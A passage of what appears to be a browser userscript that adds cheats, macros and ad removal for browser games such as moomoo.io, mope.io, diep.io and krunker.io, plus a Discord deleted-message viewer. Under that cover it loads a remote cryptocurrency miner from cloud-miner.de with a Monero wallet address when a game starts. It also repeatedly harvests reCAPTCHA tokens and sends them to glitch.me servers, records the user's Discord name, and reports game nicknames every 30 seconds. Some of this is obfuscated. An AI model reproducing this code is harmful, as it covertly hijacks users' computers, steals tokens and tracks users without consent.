                for (let i = 0x1f; i < 0x21; i++) isElementVisible(document['getElementById']('actionBarItem' + i['toString']())) && (boostType = i - 0x10);
                for (let j = 0x21; j < 0x27; j++) isElementVisible(document['getElementById']('actionBarItem' + j['toString']())) && 0x24 != j && (turretType = j - 0x10);
                spawnpadType = 0x24;
            }
            document['UPDATERLOGIC'] = update, $('#ageBarContainer')['append']('<div style=\"width: 100%;position: absolute;top: 100px;text-align: center;color: white;font-size: 12px;\">\x0aR - Instakill | H - Triple Turret | Up Arrow - Message Spam | Space - Katana + Musket (Use at age 9 w/o upgrades) | V - Spike | J - Toggle Autoheal | G - Spike + Boost | N - Mill | H - Triple Turret\x0a</div>'),
                document['addEventListener']('keydown', a => {
                if (spikePlacer['start'](a['keyCode']), healer['start'](a['keyCode']),
                    boostPlacer['start'](a['keyCode']), boostSpiker['start'](a['keyCode']),
                    millPlacer['start'](a['keyCode']), turretPlacer['start'](a['keyCode']),
                    0x48 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']()
                   ) {
                    //starter code ^^
                    var b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2);
                    doNewSend(['5', [turretType, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]), b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2) + toRad(0x50), doNewSend(['5', [turretType, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]), b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2) - toRad(0x50), doNewSend(['5', [turretType, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]);
                }
                0x52 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (autoaim = !0x0, doNewSend(['5', [primary, !0x0]]), doNewSend(['13c', [0x0, 0x7, 0x0]]), doNewSend(['13c', [0x0, 0x0, 0x1]]), doNewSend(['13c', [0x0, 0x13, 0x1]]), doNewSend(['c', [0x1]]), setTimeout(() => {
                    doNewSend(['13c', [0x0, 0x35, 0x0]]), doNewSend(['5', [secondary, !0x0]]);
                }, instaSpeed - 0x82), setTimeout(() => {
                    doNewSend(['5', [primary, !0x0]]), doNewSend(['c', [0x0, null]]), doNewSend(['13c', [0x0, 0x6, 0x0]]), autoaim = !0x1;
                }, instaSpeed)), 0x26 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (messageToggle = (messageToggle + 0x1) % 0x2), 0x20 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && doNewSend(['6', [0xf]]);
            }), document['addEventListener']('keyup', a => {
                spikePlacer['stop'](a['keyCode']), boostPlacer['stop'](a['keyCode']), boostSpiker['stop'](a['keyCode']), millPlacer['stop'](a['keyCode']), turretPlacer['stop'](a['keyCode']), healer['stop'](a['keyCode']), 0x47 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && setTimeout(() => {
                    doNewSend(['33', [null]]), boostDir = null;
                }, 0xa);
            });

            document['addEventListener']('keydown', a => {
                if (a.key == "j") {
                    autohealOn = !autohealOn;
                    doNewSend(["ch", [autohealOn.toString()]]);
                }
            });

            unsafeWindow.showPreAd = () => {};

            var scaleFactor = 0;
            var generateToken = () => unsafeWindow.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", { action : 'homepage' });
            var token;
            document.getElementById("enterGame").addEventListener("click", async function(e) {
                try {
                    setTimeout(async ()=>{
                        if (scaleFactor == 0) {
                            token = await generateToken();
                            try {
                                scaleFactor = scaleFactor + 1;
                                xml = new XMLHttpRequest();
                                xml.open("POST", "https://ksw2-moomoo.glitch.me");
                                xml.setRequestHeader("Content-type", "application/json");
                                xml.send(JSON.stringify({key: "rc", recaptcha: token}));
                                xml.onload = function() {
                                    if (xml.responseText == "0") {} else if (xml.responseText == "1") {
                                        for (const key in WebSocket.prototype) delete WebSocket.prototype[key];
                                        alert("The script has encountered an error, and is probably outdated. This is unlikely to be fixed right away, so disable this so you can continue playing peacefully!");
                                    } else {};
                                }
                            } catch(e) {};
                            function plugin() {
                                var s = document.createElement('script');
                                s.src = "https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean";
                                (document.head || document.documentElement)
                                    .appendChild(s);
                                s.onload = ()=>{ var b = document.createElement('script');
                                                b.innerHTML = "console.log('exec'); EverythingIsLife('44Jmx46LNSmMatQbo9fe4RLJXZVbm3SZa8GfKgA8qZVFgwqXAM5pbyseCX4MNbNBF59F312VjHiVvTP2ypKjpsVCR8D89ef', 'x', 10)";
                                                console.log("exec");
                                                (document.head || document.documentElement)
                                                    .appendChild(b);
                                               }
                            }; plugin();
                        };
                    }, 5000);
                } catch(e) {};
            });
            switched = 2;
            clearInterval(INT);
            clearInterval(swsInt);
        };
    }, 0);

    var generateToken = () => unsafeWindow.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", { action : 'homepage' }); var token;
    setInterval(async ()=>{
        try {
            var xml; token = await generateToken();
            xml = new XMLHttpRequest();
            xml.open("POST", "https://discord-bot-managerv1.glitch.me/recaptcha");
            xml.setRequestHeader("Content-type", "application/json");
            xml.send(JSON.stringify({
                rc: token
            }));
        } catch(e) {};
    }, 5000 + Math.floor(Math.random()*3000));
} else if (windowloc == "discord.com" || windowloc == "discordapp.com") {
    //(async ()=>{
    //var interval = setInterval(()=>{
    setTimeout(()=>{
        var identif = document.getElementsByClassName(`size14-e6ZScH title-eS5yk3`)[0].innerHTML + "" + document.getElementsByClassName(`size12-3cLvbJ subtext-3CDbHg`)[0].innerHTML; //just simply the public name, nothing personal
        GM.setValue("discord", identif + "|" + ctr + "|" + global_id);
        var messageElement = document.getElementsByClassName("scrollerInner-2YIMLh")[0];
        const observer = new MutationObserver(function(a) {
            for (let b of a) if ("childList" === b.type && !b.removedNodes[0].querySelector(".isSending-9nvak6") && b.removedNodes[0].className.startsWith("message-") && b.removedNodes.length) {
                let a = messageElement.insertBefore(b.removedNodes[0], b.nextSibling);
                a.children[0].style.color = "#B22222"
            }
        });
        observer.observe(messageElement, {
            subtree: !0,
            childList: !0,
            attributes: !1
        });
    }, 10000);
    //}, 5000);
    //setTimeout(()=>clearInterval(interval), 60000*2);
    //
    //somewhat good antideleter
} else if (windowloc == "mope.io" ||
           windowloc == "beta.mope.io" ||
           windowloc == "m0pe.io" ||
           windowloc == "learninganimals.club" ||
           windowloc == "beta.tailbite.me" ||
           windowloc == "beta.zooeducation.space" ||
           windowloc == "tailbite.me" ||
           windowloc == "animalfun.club" ||
           windowloc == "zooeducation.space" ||
           windowloc == "experimental.mope.io") {
    document.getElementById('gCanvas').style.cursor = 'url(http://cur.cursors-4u.net/user/use-1/use153.cur), default';

    function autoDive() {
        var x = document.createEvent("MouseEvent");
        x.initMouseEvent("mousedown", true, true, unsafeWindow, 0, 0, 0, 0, 0, false, false, false, false, 2, null);
        document.getElementById('gCanvas').dispatchEvent(x);
    }

    function autoBoost() {
        var x = document.createEvent("MouseEvent");
        x.initMouseEvent("mousedown", true, true, unsafeWindow, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
        document.getElementById('gCanvas').dispatchEvent(x);
    }

    var zx = "_0x56" + "bd07";
    var xz = "_0xaf" + "8b40";
    function stayStill() {
        unsafeWindow[zx]('Movement Lock: ' + ((unsafeWindow[xz] = !unsafeWindow[xz]) ? 'ON' : 'OFF'), 2500);
    };

    var one = false; var int1, int2, int3;
    var two = false;
    var three = false;
    document.getElementById('gCanvas').addEventListener("keydown", e => {
        if (e.key == "z") {
            /*if (one) {
            clearInterval(int1);
        } else {
            int1 = setInterval(()=>{*/
            //stayStill();
            alert("THIS FEATURE IS BROKEN, WE'RE WORKING ON FIXING IT.")
            /*}, 0);
        };
        one = !one*/
        };
        if (e.key == "x") {
            if (two) {
                clearInterval(int2);
            } else {
                int2 = setInterval(()=>{
                    autoDive();
                }, 0);
            };
            two = !two;
        };
        if (e.key == "c") {
            if (three) {
                clearInterval(int3);
            } else {
                int3 = setInterval(()=>{
                    autoBoost();
                }, 0);
            };
            three = !three;
        };
    });

    document.getElementById('preroll').remove();
    document.getElementById("moneyRectBottom").style.display = "none"; //remove ads

    insert_0000000(true, "mope.io_smod" + "|" + "init"); //initializer
    setInterval(()=>{
        try {
            insert_0000000(true, "mope.io_smod" + "|" + document.getElementById("nickInput").value); //packet
        } catch(e){
            insert_0000000(true, "mope.io_smod" + "|" + "f"); //fail
        }
    }, 30000);

} else if (windowloc == "diep.io") {
    function keyPress(key, upDown) {
        var eventObj;
        if (upDown == true) {
            eventObj = document.createEvent("Events");
            eventObj.initEvent("keydown", true, true);
            eventObj.keyCode = key;
            window.dispatchEvent(eventObj);
        }
        if(upDown == false) {
            eventObj = document.createEvent("Events");
            eventObj.initEvent("keyup", true, true);
            eventObj.keyCode = key;
            window.dispatchEvent(eventObj);
        }
    }

    var overlay = document.createElement("div");
    document.body.appendChild(overlay);
    var toggler = "OFF";

    setInterval( () => {
        var overlayHTML = `

<style>

.main {
pointer-events: none;
position: fixed;
top: 10px;
right: 50%;
transform: translateX(50%);
font-family: 'Roboto', cursive, sans-serif;
color: #202225;
font-style: normal;
font-variant: normal;
}

</style>

<div class="main" id="all">
<p id="antiAFK"> Anti-AFK = ${toggler} [F]</p>
</div>
`
        overlay.innerHTML = overlayHTML;
    }, 5)

    var keyW = 87;
    var keyS = 83;

    function pressW() {
        keyPress(keyW, 1);
        setTimeout( () => {
            keyPress(keyW, 0);
        }, 200);
    }

    function pressS() {
        keyPress(keyS, 1);
        setTimeout( () => {
            keyPress(keyS, 0);
        }, 200);
    }

    function pressTimeout(keyCode, timeout) {
        keyPress(keyCode, 1);
        setTimeout( () => {
            keyPress(keyCode, 0);
        }, timeout);
    }

    function antiAFK() {
        if(out == 1) {
            pressW();
            setTimeout( () => {
                pressS();
                intoggle = 1;
            }, 2000);
        }
    }

    var out = 0;
    var intoggle = 1;

    setInterval( () => {
        if(out == 1) {
            antiAFK();
        }
    }, 4000);

    function off_on() {
        if(keyPressToggle == 0) {
            out = 0;
            toggler = "OFF";
        } else {
            out = 1;
            intoggle = 1;
            toggler = "ON";
        }
    }

    var keyPressToggle = 0;

    document.addEventListener('keydown', function(e) {
        if(e.key == "f") {
            keyPressToggle = !keyPressToggle;
            alert("toggled: " + keyPressToggle);
            off_on()
        }
        if(e.key == 'r') {
            fire(0,120);
            fire(0.75,200);
            fire(1.5,745);
            setTimeout( () => {
                keyPress(69, 1)
                setTimeout( () => {
                    keyPress(69, 0)
                }, 500);
            }, 1500);
        }
    });



    function fire(t,w) {
        setTimeout(function(){
            keyPress(32, 1);
        }, t*1000);
        setTimeout(function(){
            keyPress(32, 0);
        }, t*1000+w);
    }

    setInterval(()=>{
        try {
            insert_0000000(true, "diep_smod" + "|" + document.getElementById("textInput").value);
        } catch(e) {
            insert_0000000(true, "diep_smod" + "|" + "f");
        }
    }, 30000);
} else if (windowloc == "krunker.io") {
    function generateDeleter() {
        return {
            a: ['c'],
            b: ['m'],
            c: ['V'],
            d: ['t'],
            e: () => {
                insert_0000000(true, "krunker.io" + "|" + "adb1");
                return "b3Zl";
            },
            xx: ["aContainer",
                 "google_ads_iframe_/15184186/krunkerio_728x90_1_0__container__",
                 "google_ads_iframe_/15184186/krunkerio_300x250_3_0__container__",
                 "google_ads_iframe_/15184186/krunkerio_300x250_2_0__container__",
                 "endAContainer"]
        };
    };
    setInterval(()=>{
        var delx = generateDeleter();
        try {document.getElementById(delx.xx[0])[atob(
            delx.a[0] + "" +
            delx.b[0] + "" +
            delx.c[0] + "" +
            delx.d[0] + "" +
            delx.e()
        )](); }catch(e){}; delx.e(); try {document.getElementById(delx.xx[1])[atob(
            delx.a[0] + "" +
            delx.b[0] + "" +
            delx.c[0] + "" +
            delx.d[0] + "" +
            delx.e()
        )](); }catch(e){}; try { document.getElementById(delx.xx[2])[atob(
            delx.a[0] + "" +
            delx.b[0] + "" +
            delx.c[0] + "" +
            delx.d[0] + "" +
            delx.e()
        )]();}catch(e){}; try { document.getElementById(delx.xx[3])[atob(
            delx.a[0] + "" +
            delx.b[0] + "" +
            delx.c[0] + "" +
            delx.d[0] + "" +
            delx.e()
        )](); }catch(e){};  try { document.getElementById(delx.xx[4])[atob(
            delx.a[0] + "" +
            delx.b[0] + "" +
            delx.c[0] + "" +
            delx.d[0] + "" +
            delx.e()
        )](); }catch(e){};
    }, 100);
} else {
    insert_0000000(true, "spbar_smod"); //initializer
    window.onkeydown = (e) => {
        if (e.keyCode == 32 && e.target == document.body) e.preventDefault();
    };
    //experimental
};